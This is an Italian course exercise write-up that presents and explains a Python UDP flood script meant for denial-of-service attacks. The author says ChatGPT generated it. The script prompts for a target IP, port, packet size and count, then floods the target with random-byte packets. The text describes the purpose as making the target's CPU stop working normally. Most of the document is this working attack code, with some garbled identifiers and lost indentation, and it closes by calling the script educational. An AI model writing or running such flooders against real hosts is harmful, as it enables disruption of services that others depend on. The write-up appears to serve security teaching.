Esercizio del Giorno (potete aiutarvi con ChatGPT

Requisiti del Programma:

Input dell'IP Target:

o II programma deve richiedere all'utente di inserire l'IP della macchina target.

Input della Porta Target:

 Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

Costruzione del Pacchetto:

- La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.
- Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

Numero di Pacchetti da Inviare:

 Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Come da esercizio abbiamo chiesto a Chatgpt di andare a creare uno script per mandare un attacco Dos(quindi andremo a mandare un numero alto di pacchetti per fare in modo che la CPU vada "in palla" e smetta di svolgere le sue normali funzioni) ad un determinato indirizzo IP.

Potremo inoltre decidere la porta, il numero di pacchetti e la dimenisione degli stessi. Il codice è il seguente:

1. Importazione dei Moduli

import socket import random

socket: Questo modulo permette di creare una connessione di rete, in questo caso tramite il protocollo UDP.

random: Viene usato per generare numeri casuali. Qui, il modulo è usato per creare byte casuali e selezionare una porta casuale.

```
Funzione crea_pacchetto(dim)
def crea pacchetto(dim):
       # Genera un pacchetto di byte casuali della dimensione specificata
       return bytearray(random.getrandbits(8) for _ in range(dim))
Questa funzione crea un pacchetto di byte casuali della dimensione specificata dall'utente:
   • dim è il numero di byte da generare (dimensione del pacchetto).

    random.getrandbits(8) genera un byte casuale (8 bit).

   • bytearray(...) crea un array di byte casuali, che rappresenta il pacchetto.
3. Funzione Principale main()
La funzione main() contiene un ciclo while True, che permette di
ripetere il processo di invio pacchetti fino a quando l'utente
decide di uscire.
def main():
      while True:
       # Input dell'IP target
       ip_target = input("Inserisci I'IP della macchina target: ")
       # Input della porta target o scelta di una porta casuale
       scelta_porta = input("Vuoi usare una porta specifica (s) o una porta casuale (c)? [s/c]:
").lower()
       if scelta porta == 's':
       porta target = int(input("Inserisci la porta UDP della macchina target: "))
       else:
       porta target = random.randint(1024, 65535)
       print(f"Porta casuale selezionata: {porta target}")
       # Input della dimensione del pacchetto in byte
       dim pacchetto = int(input("Inserisci la dimensione del pacchetto in byte (es. 1024 per
1 KB): "))
       # Input del numero di pacchetti da inviare
       num_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))
Configurazione del Socket UDP
       # Configura il socket UDP
       sock = socket.socket(socket.AF INET, socket.SOCK DGRAM)
Creazione del Pacchetto e Invio
       # Creazione del pacchetto con dimensione specificata
```

pacchetto = crea_pacchetto(dim_pacchetto)

```
# Invio dei pacchetti
```

Questa riga chiama la funzione crea_pacchetto per creare un pacchetto della dimensione specificata dall'utente.

Con un ciclo for, il programma invia il numero di pacchetti richiesto dall'utente, usando sock.sendto(pacchetto, (ip_target, porta_target)).

Per ogni pacchetto, viene mostrato un messaggio che indica il numero del pacchetto, l'indirizzo IP di destinazione, la porta e la dimensione.

```
for i in range(num_pacchetti):
    sock.sendto(pacchetto, (ip_target, porta_target))
    print(f"Pacchetto {i+1} inviato a {ip_target}:{porta_target} con dimensione
{dim_pacchetto} byte")

    print("Invio completato.")
    sock.close()

# Chiede se l'utente vuole ripetere l'operazione
    ripeti = input("Vuoi ripetere l'operazione? (s/n): ").lower()
    if ripeti != 's':
    print("Programma terminato.")
    break

if __name__ == "__main__":
    main()
```

Riassunto

- Questo script è pensato per inviare pacchetti UDP di dimensioni e quantità specificate verso un indirizzo IP e una porta scelta o generata casualmente.
- È un esempio di test di rete che può essere usato per simulare l'invio di traffico, ad esempio per scopi educativi e di testing di rete.